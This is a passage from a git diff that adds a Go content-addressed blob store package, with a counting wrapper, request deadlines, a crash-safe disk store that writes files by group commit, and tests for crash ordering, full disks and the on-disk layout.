blobstore.ErrBadRID) { + t.Errorf("GetFrame(%q) = %v, want ErrBadRID", id, err) + } + } +} + +// locateMatchesDecode: every location Locate answers points into the frame that +// holds the object, at the offset and length Decode of that frame says. +func locateMatchesDecode(t *testing.T, s blobstore.Store) { + a, b, c := object("a"), object("b"), object("c") + first, second := frameOf(t, a, b), frameOf(t, c) + put(t, s, first) + put(t, s, second) + at, err := s.Locate(ctx, []string{a.RID, b.RID, c.RID}) + must(t, err) + held := []struct { + rid string + frame []byte + obj blobstore.Object + }{{a.RID, first, a}, {b.RID, first, b}, {c.RID, second, c}} + for _, h := range held { + loc, ok := at[h.rid] + if !ok { + t.Fatalf("Locate(%s) is absent from the answer", h.rid[:8]) + } + if loc.Frame != blobstore.IDOf(h.frame) { + t.Errorf("Locate(%s) names frame %s, want %s", h.rid[:8], loc.Frame, blobstore.IDOf(h.frame)) + } + if string(h.frame[loc.Off:uint64(loc.Off)+uint64(loc.Len)]) != string(h.obj.Bytes) { + t.Errorf("Locate(%s) points at the wrong bytes", h.rid[:8]) + } + } +} + +// locateKeepsFirst: an object stored again in a later frame keeps the location +// it first had, as the pointer is never rewritten. +func locateKeepsFirst(t *testing.T, s blobstore.Store) { + a, b := object("a"), object("b") + first := frameOf(t, a, b) + put(t, s, first) + put(t, s, frameOf(t, b, a)) // the same bytes again, at another offset + at, err := s.Locate(ctx, []string{a.RID}) + must(t, err) + // a is the first object of the first frame, so its first location names + // that frame at the payload's start; the re-put's later offset is not it. + start := uint64(len(first)) - uint64(len(a.Bytes)+len(b.Bytes)) + loc, ok := at[a.RID] + if !ok || loc.Frame != blobstore.IDOf(first) || loc.Off != start { + t.Fatalf("Locate after a re-put = %+v, want the first location at offset %d", loc, start) + } +} + +// locateRefusals: the argument rules are Has's, at the same bound. +func locateRefusals(t *testing.T, s blobstore.Store) { + rids := make([]string, blobstore.MaxHas+1) + for i := range rids { + rids[i] = object(strings.Repeat("y", i+1)).RID + } + if _, err := s.Locate(ctx, rids); !errors.Is(err, blobstore.ErrTooMany) { + t.Errorf("Locate of MaxHas+1 ids = %v, want ErrTooMany", err) + } + if _, err := s.Locate(ctx, []string{object("a").RID, "abc"}); !errors.Is(err, blobstore.ErrBadRID) { + t.Errorf("Locate with a bad id = %v, want ErrBadRID", err) + } + if at, err := s.Locate(ctx, []string{object("absent").RID}); err != nil || len(at) != 0 { + t.Errorf("Locate of an unheld rid = %v, %v; want empty", at, err) + } + if at, err := s.Locate(ctx, nil); err != nil || len(at) != 0 { + t.Errorf("Locate of no ids = %v, %v; want empty", at, err) + } +} diff --git a/internal/blobstore/counting.go b/internal/blobstore/counting.go new file mode 100644 index 0000000000..81d3b85c94 --- /dev/null +++ b/internal/blobstore/counting.go @@ -0,0 +1,77 @@ +package blobstore + +import ( + "context" + "sync/atomic" +) + +// Counters is a running tally of what one Store was asked to move. The fields +// are atomic so a batcher and a fetcher can share one tally. +type Counters struct { + Puts, Gets, Has, BytesUp, BytesDown, ObjectsUp atomic.Int64 +} + +// Counting is a Store that counts every request it passes to Inner, whether or +// not the request succeeds: the relay counts what it received, and the two +// tallies only agree if a failed request is counted on both sides. +type Counting struct { + Inner Store + C *Counters +} + +var _ Store = Counting{} + +// PutFrame counts one put, the frame's bytes, and the objects in its header. +func (c Counting) PutFrame(ctx context.Context, frame []byte) (FrameID, error) { + c.C.Puts.Add(1) + c.C.BytesUp.Add(int64(len(frame))) + c.C.ObjectsUp.Add(objectsIn(frame)) + return c.Inner.PutFrame(ctx, frame) +} + +// Get counts one get and the bytes it returned. +func (c Counting) Get(ctx context.Context, rid string) ([]byte, error) { + c.C.Gets.Add(1) + b, err := c.Inner.Get(ctx, rid) + c.C.BytesDown.Add(int64(len(b))) + return b, err +} + +// GetMany counts one get however many objects answer it, and their bytes: the +// relay counts one request and the same bytes, so the tallies agree. +func (c Counting) GetMany(ctx context.Context, rids []string) ([]Object, error) { + c.C.Gets.Add(1) + got, err := c.Inner.GetMany(ctx, rids) + c.C.BytesDown.Add(sizeOf(got)) + return got, err +} + +// Has counts one request, however many rids it asks about. +func (c Counting) Has(ctx context.Context, rids []string) ([]bool, error) { + c.C.Has.Add(1) + return c.Inner.Has(ctx, rids) +} + +// GetFrame counts one get and the frame's bytes. +func (c Counting) GetFrame(ctx context.Context, frame string) ([]byte, error) { + c.C.Gets.Add(1) + b, err := c.Inner.GetFrame(ctx, frame) + c.C.BytesDown.Add(int64(len(b))) + return b, err +} + +// Locate counts one request, however many rids it asks about. +func (c Counting) Locate(ctx context.Context, rids []string) (map[string]Location, error) { + c.C.Has.Add(1) + return c.Inner.Locate(ctx, rids) +} + +// objectsIn reads the object count from a frame's header. A frame that does +// not decode is counted as carrying none: the store will refuse it anyway. +func objectsIn(frame []byte) int64 { + h, _, err := Decode(frame) + if err != nil { + return 0 + } + return int64(len(h.Objects)) +} diff --git a/internal/blobstore/counting_test.go b/internal/blobstore/counting_test.go new file mode 100644 index 0000000000..3ac1a932d2 --- /dev/null +++ b/internal/blobstore/counting_test.go @@ -0,0 +1,58 @@ +package blobstore_test + +import ( + "context" + "errors" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/blobstore/blobstoretest" +) + +func TestCountingConforms(t *testing.T) { + blobstoretest.Run(t, func(*testing.T) blobstore.Store { + return blobstore.Counting{Inner: blobstore.NewMemory(), C: &blobstore.Counters{}} + }) +} + +func TestCountingCountsEveryRequest(t *testing.T) { + ctx := context.Background() + c := blobstore.Counting{Inner: blobstore.NewMemory(), C: &blobstore.Counters{}} + obj := blobstore.Object{RID: blobstoreRID('a'), Bytes: []byte("AGEO\x01sealed")} + frame, err := blobstore.Encode("00000000000000000000000000000000", []blobstore.Object{obj, {RID: blobstoreRID('b'), Bytes: []byte("AGEO\x01more")}}) + if err != nil { + t.Fatal(err) + } + if _, err := c.PutFrame(ctx, frame); err != nil { + t.Fatal(err) + } + got, err := c.Get(ctx, obj.RID) + if err != nil { + t.Fatal(err) + } + if _, err := c.Get(ctx, blobstoreRID('c')); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("missing get = %v", err) + } + if _, err := c.PutFrame(ctx, []byte("not a frame")); err == nil { + t.Fatal("a bad frame was stored") + } + if _, err := c.Has(ctx, []string{obj.RID, blobstoreRID('c')}); err != nil { + t.Fatal(err) + } + want := map[string]int64{"puts": 2, "gets": 2, "has": 1, "up": int64(len(frame)) + 11, "down": int64(len(got)), "objects": 2} + have := map[string]int64{"puts": c.C.Puts.Load(), "gets": c.C.Gets.Load(), "has": c.C.Has.Load(), + "up": c.C.BytesUp.Load(), "down": c.C.BytesDown.Load(), "objects": c.C.ObjectsUp.Load()} + for k, w := range want { + if have[k] != w { + t.Errorf("%s = %d, want %d", k, have[k], w) + } + } +} + +func blobstoreRID(c byte) string { + b := make([]byte, 64) + for i := range b { + b[i] = c + } + return string(b) +} diff --git a/internal/blobstore/deadline.go b/internal/blobstore/deadline.go new file mode 100644 index 0000000000..aeb152799a --- /dev/null +++ b/internal/blobstore/deadline.go @@ -0,0 +1,58 @@ +package blobstore + +import ( + "context" + "time" +) + +// A request's deadline is a fixed allowance plus the time its body needs at the +// slowest link the store still supports. A fixed limit is wrong both ways: it +// kills a large frame on a slow link, and it waits far too long for a small +// request to a dead relay. +const ( + // BaseTimeout is the allowance every request gets, however small. + BaseTimeout = 30 * time.Second + // MinThroughput is the slowest sustained rate, in bytes per second, at + // which a body is still expected to arrive. + MinThroughput = 32 << 10 +) + +// Deadline is how long a request carrying n body bytes may take. +func Deadline(n int) time.Duration { + return BaseTimeout + time.Duration(n)*time.Second/MinThroughput +} + +// budget is the time limit of one request. It opens as the allowance for the +// request body, and once the answer's headers say how long the answer is it is +// set again to the allowance for that many bytes: a get sends almost nothing +// and receives a whole frame, so sizing it by the request alone gives a large +// answer the allowance of an empty one and cuts it off on any slow link. +type budget struct { + timer *time.Timer + cancel context.CancelCauseFunc + sized func(bodyBytes int) time.Duration +} + +// startBudget returns ctx limited to sized(requestBytes) and the budget that +// resizes it. +func startBudget(ctx context.Context, sized func(int) time.Duration, requestBytes int) (context.Context, *budget) { + ctx, cancel := context.WithCancelCause(ctx) + b := &budget{cancel: cancel, sized: sized} + b.timer = time.AfterFunc(sized(requestBytes), func() { cancel(context.DeadlineExceeded) }) + return ctx, b +} + +// answering resets the limit to the time an answer of n bytes needs. A length +// the answer does not state (n < 0) is allowed the largest answer there is. +func (b *budget) answering(n int64) { + if n < 0 { + n = MaxFrame + } + b.timer.Reset(b.sized(int(n))) +} + +// done releases the budget's timer and context. +func (b *budget) done() { + b.timer.Stop() + b.cancel(nil) +} diff --git a/internal/blobstore/deadline_test.go b/internal/blobstore/deadline_test.go new file mode 100644 index 0000000000..4ec8b8d091 --- /dev/null +++ b/internal/blobstore/deadline_test.go @@ -0,0 +1,61 @@ +package blobstore + +import ( + "context" + "errors" + "net/http" + "net/http/httptest" + "strconv" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// trickle answers a get with a long body that arrives slowly: its headers come +// at once and the body in pieces, taking longer than an empty request's whole +// allowance. stall says how long the server waits before each piece. +func trickle(t *testing.T, size, pieces int, stall time.Duration) *HTTP { + t.Helper() + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Content-Length", strconv.Itoa(size)) + w.WriteHeader(http.StatusOK) + piece := strings.Repeat("x", size/pieces) + for i := 0; i < pieces; i++ { + select { + case <-time.After(stall): + case <-r.Context().Done(): + return + } + _, _ = w.Write([]byte(piece)) + w.(http.Flusher).Flush() + } + })) + t.Cleanup(srv.Close) + c := NewHTTP(srv.URL, wireauth.Sign(func(*http.Request, []byte) {}), nil) + // An empty request gets 100 ms and every KiB of answer another 20 ms. + c.deadline = func(n int) time.Duration { return 100*time.Millisecond + time.Duration(n>>10)*20*time.Millisecond } + return c +} + +// A get sends no body, so its time limit must grow with the answer's length: +// a large answer that keeps arriving is not cut off by an empty request's allowance. +func TestGetDeadlineGrowsWithTheAnswer(t *testing.T) { + c := trickle(t, 32<<10, 4, 60*time.Millisecond) // 240 ms of body against a 100 ms base + got, err := c.Get(context.Background(), strings.Repeat("a", 64)) + if err != nil || len(got) != 32<<10 { + t.Fatalf("Get = %d bytes, %v; want the whole answer", len(got), err) + } +} + +// An answer that stops arriving must still fail, and as an unreachable store, +// so callers degrade rather than wait for a relay that has gone quiet. +func TestGetOfAStalledAnswerFailsUnreachable(t *testing.T) { + c := trickle(t, 1<<10, 1, time.Minute) // 1 KiB is allowed 120 ms; the body never comes + start := time.Now() + _, err := c.Get(context.Background(), strings.Repeat("a", 64)) + if !errors.Is(err, ErrUnreachable) || time.Since(start) > 5*time.Second { + t.Fatalf("Get = %v after %v; want ErrUnreachable promptly", err, time.Since(start)) + } +} diff --git a/internal/blobstore/disk.go b/internal/blobstore/disk.go new file mode 100644 index 0000000000..40417db107 --- /dev/null +++ b/internal/blobstore/disk.go @@ -0,0 +1,211 @@ +package blobstore + +import ( + "bytes" + "context" + "errors" + "fmt" + "io/fs" + "os" + "path/filepath" + "sync" +) + +// Disk keeps a store in a directory with exactly two prefixes and nothing else: +// +// frames/ a frame, written once +// objects// a pointer line " \n" +// +// The frame is the truth and the pointer is only an index into it, so a +// pointer is written after its frame is durable. A crash between the two +// leaves a frame nobody points at, which is harmless, and never a pointer to +// bytes that are not there. +type Disk struct { + frames, objects string + + mu sync.Mutex // one writer at a time, so conflict checks cannot race a write + + // The two seams below exist so a test can break the write at the exact + // place the crash order matters. Production leaves them as they are. + sync func([]*os.File) error // makes a batch of written files durable + afterFrame func() error // runs once the frame is durable, before any pointer +} + +// NewDisk opens a store under root, creating the two prefixes when needed. +func NewDisk(root string) (*Disk, error) { + d := &Disk{ + frames: filepath.Join(root, "frames"), + objects: filepath.Join(root, "objects"), + sync: flushFiles, + afterFrame: func() error { return nil }, + } + for _, dir := range []string{d.frames, d.objects} { + if err := os.MkdirAll(dir, 0o755); err != nil { + return nil, fmt.Errorf("blobstore: open disk store: %w", err) + } + } + return d, nil +} + +// PutFrame implements Store: check, make the frame durable, then point at it. +func (d *Disk) PutFrame(ctx context.Context, frame []byte) (FrameID, error) { + h, objects, err := Decode(frame) + if err != nil { + return "", err + } + d.mu.Lock() + defer d.mu.Unlock() + if err := d.conflict(ctx, objects); err != nil { + return "", err + } + id := IDOf(frame) + if err := d.writeOnce(filepath.Join(d.frames, id), frame); err != nil { + return "", err + } + if err := d.afterFrame(); err != nil { + return "", err + } + return id, d.point(id, payloadStart(frame, h), h.Objects) +} + +// conflict reports ErrConflict when any object is already held with other bytes. +func (d *Disk) conflict(ctx context.Context, objects []Object) error { + for _, o := range objects { + have, err := d.Get(ctx, o.RID) + if errors.Is(err, ErrNotFound) { + continue + } + if err != nil { + return err + } + if !bytes.Equal(have, o.Bytes) { + return ErrConflict + } + } + return nil +} + +// point writes one pointer per object that has none yet, as one group commit. +// An object already stored keeps its pointer: the bytes are identical, and a +// pointer is never rewritten. +func (d *Disk) point(id FrameID, start uint64, refs []ObjectRef) error { + entries := make([]entry, len(refs)) + for i, ref := range refs { + p := pointer{Frame: id, Off: start + ref.Off, Len: ref.Len} + entries[i] = entry{d.pointerPath(ref.RID), p.line()} + } + return d.writeAllOnce(entries) +} + +// Get implements Store: follow the pointer into the frame and read the object. +func (d *Disk) Get(_ context.Context, rid string) ([]byte, error) { + if err := checkGet(rid); err != nil { + return nil, err + } + line, err := os.ReadFile(d.pointerPath(rid)) + if errors.Is(err, fs.ErrNotExist) { + return nil, ErrNotFound + } + if err != nil { + return nil, fmt.Errorf("blobstore: read pointer: %w", err) + } + p, err := parsePointer(line) + if err != nil { + return nil, err + } + return d.readObject(p) +} + +// GetMany implements Store: the prefix of rids that fits in one frame, read one +// pointer at a time. +func (d *Disk) GetMany(ctx context.Context, rids []string) ([]Object, error) { + if err := checkMany(rids); err != nil { + return nil, err + } + return gatherPrefix(rids, func(rid string) ([]byte, error) { return d.Get(ctx, rid) }) +} + +// readObject reads the bytes a pointer names. A pointer whose frame is gone or +// short is damage, and is reported as damage rather than as an absent object. +func (d *Disk) readObject(p pointer) ([]byte, error) { + f, err := os.Open(filepath.Join(d.frames, p.Frame)) + if err != nil { + return nil, fmt.Errorf("%w: pointer names a missing frame: %v", ErrDamaged, err) + } + defer f.Close() + buf := make([]byte, p.Len) + if _, err := f.ReadAt(buf, int64(p.Off)); err != nil { + return nil, fmt.Errorf("%w: pointer runs past its frame: %v", ErrDamaged, err) + } + return buf, nil +} + +// Has implements Store; a pointer that exists is enough, as it is only ever +// written after the frame it names. It waits for a put in flight, so a client +// that timed out on a slow put and asks whether it landed gets the answer +// after the write ends and not a false "no" from the middle of it. +func (d *Disk) Has(_ context.Context, rids []string) ([]bool, error) { + if err := checkHas(rids); err != nil { + return nil, err + } + d.mu.Lock() + defer d.mu.Unlock() + have := make([]bool, len(rids)) + for i, rid := range rids { + _, err := os.Stat(d.pointerPath(rid)) + have[i] = err == nil + } + return have, nil +} + +// GetFrame implements Store: the frame as it was written, read whole. The +// frame is the truth, so this is a plain file read — but the id is the hash +// of the bytes, so a file that no longer holds what its name claims answers +// ErrDamaged, not nonsense a take would only fail on at import. +func (d *Disk) GetFrame(_ context.Context, frame string) ([]byte, error) { + if err := checkGet(frame); err != nil { + return nil, err + } + b, err := os.ReadFile(filepath.Join(d.frames, frame)) + if errors.Is(err, fs.ErrNotExist) { + return nil, ErrNotFound + } + if err != nil { + return nil, err + } + if IDOf(b) != frame { + return nil, fmt.Errorf("%w: frame %s is not what its name claims", ErrDamaged, frame) + } + return b, nil +} + +// Locate implements Store: read each rid's pointer line, which is exactly the +// answer a location is. A rid with no pointer is absent from the map; a +// pointer that exists is only ever written after its frame, as with Has. +func (d *Disk) Locate(_ context.Context, rids []string) (map[string]Location, error) { + if err := checkHas(rids); err != nil { + return nil, err + } + d.mu.Lock() + defer d.mu.Unlock() + at := make(map[string]Location, len(rids)) + for _, rid := range rids { + line, err := os.ReadFile(d.pointerPath(rid)) + if errors.Is(err, fs.ErrNotExist) { + continue + } + if err != nil { + return nil, fmt.Errorf("blobstore: read pointer: %w", err) + } + p, err := parsePointer(line) + if err != nil { + return nil, err + } + at[rid] = Location{Frame: p.Frame, Off: p.Off, Len: p.Len} + } + return at, nil +} + +func (d *Disk) pointerPath(rid string) string { + return filepath.Join(d.objects, rid[:2], rid[2:]) +} diff --git a/internal/blobstore/disk_crash_test.go b/internal/blobstore/disk_crash_test.go new file mode 100644 index 0000000000..cd49bf0151 --- /dev/null +++ b/internal/blobstore/disk_crash_test.go @@ -0,0 +1,126 @@ +package blobstore + +import ( + "context" + "errors" + "os" + "path/filepath" + "strings" + "syscall" + "testing" +) + +func sealedObject(rid, body string) Object { + return Object{RID: rid, Bytes: []byte("AGEO\x01" + body)} +} + +func newCrashDisk(t *testing.T) (*Disk, string, []byte, Object) { + t.Helper() + root := t.TempDir() + d, err := NewDisk(root) + if err != nil { + t.Fatal(err) + } + o := sealedObject(strings.Repeat("ab", 32), "body") + frame, err := Encode(strings.Repeat("0", 32), []Object{o}) + if err != nil { + t.Fatal(err) + } + return d, root, frame, o +} + +// pointers counts the pointer files under objects/. +func pointers(t *testing.T, root string) int { + t.Helper() + n := 0 + _ = filepath.WalkDir(filepath.Join(root, "objects"), func(_ string, e os.DirEntry, _ error) error { + if !e.IsDir() { + n++ + } + return nil + }) + return n +} + +// The crash between "frame is durable" and "pointer is written" must leave a +// store that says not found, never one that answers with garbage. +func TestDiskResumesPointersAfterCrash(t *testing.T) { + ctx := context.Background() + d, root, frame, o := newCrashDisk(t) + crash := errors.New("power cut") + d.afterFrame = func() error { return crash } + + if _, err := d.PutFrame(ctx, frame); !errors.Is(err, crash) { + t.Fatalf("PutFrame = %v, want the injected failure", err) + } + if _, err := d.Get(ctx, o.RID); !errors.Is(err, ErrNotFound) { + t.Fatalf("Get after the crash = %v, want ErrNotFound", err) + } + if have, _ := d.Has(ctx, []string{o.RID}); have[0] { + t.Fatal("Has answered true for an object with no pointer") + } + if _, err := os.Stat(filepath.Join(root, "frames", IDOf(frame))); err != nil { + t.Fatalf("the durable frame is missing: %v", err) + } + + // After the restart the same frame is sent again, and the store heals. + d.afterFrame = func() error { return nil } + if _, err := d.PutFrame(ctx, frame); err != nil { + t.Fatalf("retry: %v", err) + } + if got, err := d.Get(ctx, o.RID); err != nil || string(got) != string(o.Bytes) { + t.Fatalf("Get after the retry = %q, %v", got, err) + } +} + +// If the frame cannot be made durable, no pointer may exist at all. +func TestDiskFrameNotDurableWritesNoPointer(t *testing.T) { + ctx := context.Background() + d, root, frame, o := newCrashDisk(t) + d.sync = func([]*os.File) error { return errors.New("disk full") } + + if _, err := d.PutFrame(ctx, frame); err == nil { + t.Fatal("PutFrame succeeded although the frame could not be synced") + } + if n := pointers(t, root); n != 0 { + t.Fatalf("%d pointers exist for a frame that is not durable", n) + } + if _, err := d.Get(ctx, o.RID); !errors.Is(err, ErrNotFound) { + t.Fatalf("Get = %v, want ErrNotFound", err) + } + if entries, _ := os.ReadDir(filepath.Join(root, "frames")); len(entries) != 0 { + t.Fatalf("frames/ holds %d files after a failed sync, want none", len(entries)) + } +} + +// A pointer that names a frame which is gone is damage and must say so. +func TestDiskDanglingPointerIsNotNotFound(t *testing.T) { + ctx := context.Background() + d, root, frame, o := newCrashDisk(t) + if _, err := d.PutFrame(ctx, frame); err != nil { + t.Fatal(err) + } + if err := os.Remove(filepath.Join(root, "frames", IDOf(frame))); err != nil { + t.Fatal(err) + } + if _, err := d.Get(ctx, o.RID); !errors.Is(err, ErrDamaged) { + t.Fatalf("Get with a missing frame = %v, want ErrDamaged", err) + } +} + +// A full disk or an exhausted quota is ErrFull, and leaves no pointer behind. +func TestDiskENOSPC(t *testing.T) { + for _, errno := range []error{syscall.ENOSPC, syscall.EDQUOT} { + d, root, frame, o := newCrashDisk(t) + d.sync = func([]*os.File) error { return errno } + if _, err := d.PutFrame(context.Background(), frame); !errors.Is(err, ErrFull) { + t.Fatalf("PutFrame with %v = %v, want ErrFull", errno, err) + } + if n := pointers(t, root); n != 0 { + t.Fatalf("%d pointers after %v", n, errno) + } + if _, err := d.Get(context.Background(), o.RID); !errors.Is(err, ErrNotFound) { + t.Fatalf("Get = %v, want ErrNotFound", err) + } + } +} diff --git a/internal/blobstore/disk_layout_test.go b/internal/blobstore/disk_layout_test.go new file mode 100644 index 0000000000..fd1561d00d --- /dev/null +++ b/internal/blobstore/disk_layout_test.go @@ -0,0 +1,103 @@ +package blobstore_test + +import ( + "context" + "io/fs" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" +) + +// tree lists every path under root with the bytes of every file, so two +// snapshots can be compared for a created path or an overwritten file. +func tree(t *testing.T, root string) map[string]string { + t.Helper() + out := map[string]string{} + err := filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + rel, _ := filepath.Rel(root, path) + if rel == "." { + return nil + } + if d.IsDir() { + out[rel+"/"] = "" + return nil + } + b, err := os.ReadFile(path) + out[rel] = string(b) + return err + }) + if err != nil { + t.Fatal(err) + } + return out +} + +func TestDiskCreatesOnlyFramesAndObjects(t *testing.T) { + root := t.TempDir() + d, err := blobstore.NewDisk(root) + if err != nil { + t.Fatal(err) + } + frame, _ := blobstore.Encode(testKey, []blobstore.Object{obj("a", "one"), obj("b", "two")}) + if _, err := d.PutFrame(context.Background(), frame); err != nil { + t.Fatal(err) + } + for path := range tree(t, root) { + top := strings.TrimSuffix(strings.SplitN(path, string(filepath.Separator), 2)[0], "/") + if top != "frames" && top != "objects" { + t.Errorf("unexpected path %q under the store root", path) + } + } + if entries, _ := os.ReadDir(root); len(entries) != 2 { + t.Errorf("root holds %d entries, want frames and objects only", len(entries)) + } +} + +func TestDiskLeavesNoTemporaryFiles(t *testing.T) { + root := t.TempDir() + d, _ := blobstore.NewDisk(root) + frame, _ := blobstore.Encode(testKey, []blobstore.Object{obj("a", "one")}) + if _, err := d.PutFrame(context.Background(), frame); err != nil { + t.Fatal(err) + } + for path := range tree(t, root) { + if strings.Contains(path, ".tmp-") { + t.Errorf("temporary file left behind: %s", path) + } + } +} + +func TestDiskNeverOverwritesAnExistingFile(t *testing.T) { + ctx := context.Background() + root := t.TempDir() + d, _ := blobstore.NewDisk(root) + first, _ := blobstore.Encode(testKey, []blobstore.Object{obj("a", "one"), obj("b", "two")}) + if _, err := d.PutFrame(ctx, first); err != nil { + t.Fatal(err) + } + before := tree(t, root) + + // The same frame again, then a new frame that shares an object with it, then + // a frame that conflicts: none may change a byte that was already written. + again, _ := blobstore.Encode(testKey, []blobstore.Object{obj("b", "two"), obj("c", "three")}) + conflicting, _ := blobstore.Encode(testKey, []blobstore.Object{{RID: obj("a", "").RID, Bytes: []byte("AGEO\x01other")}}) + for _, f := range [][]byte{first, again, conflicting} { + _, _ = d.PutFrame(ctx, f) + } + + after := tree(t, root) + for path, was := range before { + if now, ok := after[path]; !ok || now != was { + t.Errorf("%s changed or vanished", path) + } + } + if _, ok := after[filepath.Join("frames", blobstore.IDOf(conflicting))]; ok { + t.Error("a conflicting frame was written to frames/") + } +} diff --git a/internal/blobstore/diskbatch.go b/internal/blobstore/diskbatch.go new file mode 100644 index 0000000000..b54b65fa08 --- /dev/null +++ b/internal/blobstore/diskbatch.go @@ -0,0 +1,169 @@ +package blobstore + +import ( + "errors" + "fmt" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "io/fs" + "os" + "path/filepath" +) + +// commitBatch is how many files one group commit holds open at once. It is +// small enough to stay far below any file-descriptor limit, and large enough +// that the disk sees one burst of writes followed by one burst of syncs. +const commitBatch = 256 + +// entry is one file to create: its final path and its whole content. +type entry struct { + path string + data []byte +} + +// staged is an entry written to a temporary file that is not yet in place. +type staged struct { + tmp *os.File + path string +} + +// writeAllOnce durably creates every entry whose path does not exist yet. +// Durability is by group commit: each batch is written to temporary files, +// then all of them are synced, then renamed into place, and each directory +// that gained a name is synced once. A disk that pays a full journal commit +// per fsync therefore pays it once per batch and not once per object, and the +// final names still never hold a partial file. +func (d *Disk) writeAllOnce(entries []entry) error { + var todo []entry + for _, e := range entries { + if _, err := os.Stat(e.path); err != nil { + todo = append(todo, e) + } + } + for len(todo) > 0 { + n := min(commitBatch, len(todo)) + if err := d.commit(todo[:n]); err != nil { + return asFull(err) + } + todo = todo[n:] + } + return nil +} + +// commit makes one batch durable and visible, in that order. +func (d *Disk) commit(batch []entry) error { + files, err := d.stageAll(batch) + if err == nil { + err = d.syncAll(files) + } + if err != nil { + discard(files) + return err + } + if err := place(files); err != nil { + return err + } + return d.syncDirs(files) +} + +// stageAll writes every entry to a temporary file beside its final path. +func (d *Disk) stageAll(batch []entry) ([]staged, error) { + files := make([]staged, 0, len(batch)) + for _, e := range batch { + f, err := stageOne(e) + if err != nil { + return files, err + } + files = append(files, f) + } + return files, nil +} + +func stageOne(e entry) (staged, error) { + dir := filepath.Dir(e.path) + if err := os.MkdirAll(dir, 0o755); err != nil { + return staged{}, fmt.Errorf("blobstore: create directory: %w", err) + } + tmp, err := os.CreateTemp(dir, ".tmp-*") + if err != nil { + return staged{}, fmt.Errorf("blobstore: create temporary file: %w", err) + } + s := staged{tmp: tmp, path: e.path} + if _, err := tmp.Write(e.data); err != nil { + discard([]staged{s}) + return staged{}, fmt.Errorf("blobstore: write %s: %w", filepath.Base(e.path), err) + } + return s, nil +} + +// syncAll makes every staged file durable before any of them gets its name. +func (d *Disk) syncAll(files []staged) error { + fds := make([]*os.File, len(files)) + for i, f := range files { + fds[i] = f.tmp + } + if err := d.sync(fds); err != nil { + return fmt.Errorf("blobstore: sync batch: %w", err) + } + return nil +} + +// place closes each temporary file and renames it to its final name. +func place(files []staged) error { + for i, f := range files { + err := f.tmp.Close() + if err == nil { + err = fsreplace.Rename(f.tmp.Name(), f.path) + } + if err != nil { + discard(files[i:]) + return fmt.Errorf("blobstore: place %s: %w", filepath.Base(f.path), err) + } + } + return nil +} + +// syncDirs makes the renames durable, one sync per distinct directory. +func (d *Disk) syncDirs(files []staged) error { + dirs, err := openDirs(files) + defer closeAll(dirs) + if err != nil { + return err + } + if err := d.sync(dirs); err != nil && !errors.Is(err, fs.ErrInvalid) { + return fmt.Errorf("blobstore: sync directory: %w", err) + } + return nil +} + +// openDirs opens each distinct directory that a batch placed a file in. +func openDirs(files []staged) ([]*os.File, error) { + var dirs []*os.File + seen := map[string]bool{} + for _, f := range files { + name := filepath.Dir(f.path) + if seen[name] { + continue + } + seen[name] = true + dir, err := os.Open(name) + if err != nil { + return dirs, fmt.Errorf("blobstore: open directory: %w", err) + } + dirs = append(dirs, dir) + } + return dirs, nil +} + +func closeAll(files []*os.File) { + for _, f := range files { + f.Close() + } +} + +// discard closes and removes temporary files that will not be used. +func discard(files []staged) { + for _, f := range files { + f.tmp.Close() + os.Remove(f.tmp.Name()) + } +} diff --git a/internal/blobstore/diskfile.go b/internal/blobstore/diskfile.go new file mode 100644 index 0000000000..54ba382d3c --- /dev/null +++ b/internal/blobstore/diskfile.go @@ -0,0 +1,60 @@ +package blobstore + +import ( + "errors" + "fmt" + "strconv" + "strings" + "syscall" +) + +// pointer says where one object lies inside a stored frame. +type pointer struct { + Frame FrameID + Off uint64 + Len uint32 +} + +// line is the pointer's on-disk form. +func (p pointer) line() []byte { + return []byte(fmt.Sprintf("%s %d %d\n", p.Frame, p.Off, p.Len)) +} + +// parsePointer reads a pointer line strictly: a file that does not look like +// one is damage, and must not be followed as a path. +func parsePointer(line []byte) (pointer, error) { + parts := strings.Fields(string(line)) + if len(parts) != 3 || !ValidRID(parts[0]) { + return pointer{}, fmt.Errorf("%w: malformed pointer", ErrDamaged) + } + off, offErr := strconv.ParseUint(parts[1], 10, 63) + n, lenErr := strconv.ParseUint(parts[2], 10, 32) + if offErr != nil || lenErr != nil { + return pointer{}, fmt.Errorf("%w: malformed pointer", ErrDamaged) + } + return pointer{Frame: parts[0], Off: off, Len: uint32(n)}, nil +} + +// payloadStart is where the payload begins in a frame: object offsets in the +// header count from there, and a pointer counts from the start of the frame. +func payloadStart(frame []byte, h Header) uint64 { + payload := uint64(0) + for _, ref := range h.Objects { + payload += uint64(ref.Len) + } + return uint64(len(frame)) - payload +} + +// writeOnce durably creates path with data, and does nothing if path exists. +func (d *Disk) writeOnce(path string, data []byte) error { + return d.writeAllOnce([]entry{{path, data}}) +} + +// asFull names a full disk or an exhausted quota ErrFull, which a caller +// answers by retrying later, and leaves every other error as it is. +func asFull(err error) error { + if errors.Is(err, syscall.ENOSPC) || errors.Is(err, syscall.EDQUOT) { + return fmt.Errorf("%w: %v", ErrFull, err) + } + return err +} diff --git a/internal/blobstore/doc.go b/internal/blobstore/doc.go new file mode 100644 index 0000000000..f896f6c2f4 --- /dev/null +++ b/internal/blobstore/doc.go @@ -0,0 +1,9 @@ +// Package blobstore is the content-addressed seam between a device and the +// place its encrypted objects rest. A store is told only two things: put this +// frame, and give me the object with this remote id. It never learns a path, +// a name or a plaintext byte, so every implementation, from the in-memory fake +// to the disk and the network, can be swapped without the caller noticing. +// +// The package imports nothing but the standard library (contract law L0), so +// the relay can link it without pulling in a device. +package blobstore diff --git a/internal/blobstore/flight.go b/internal/blobstore/flight.go new file mode 100644 index 0000000000..d41e88e509 --- /dev/null +++ b/internal/blobstore/flight.go @@ -0,0 +1,73 @@ +package blobstore + +import ( + "context" + "sync" +) + +// Has never answers no while a put for the same identity is still being +// received. A client that gave up on a slow put asks Has to learn whether the +// put landed anyway, and a "no" given from the middle of that put makes it send +// every byte again. Any relay must keep this rule, including one that keeps an +// identity's state in a single object: a put counts 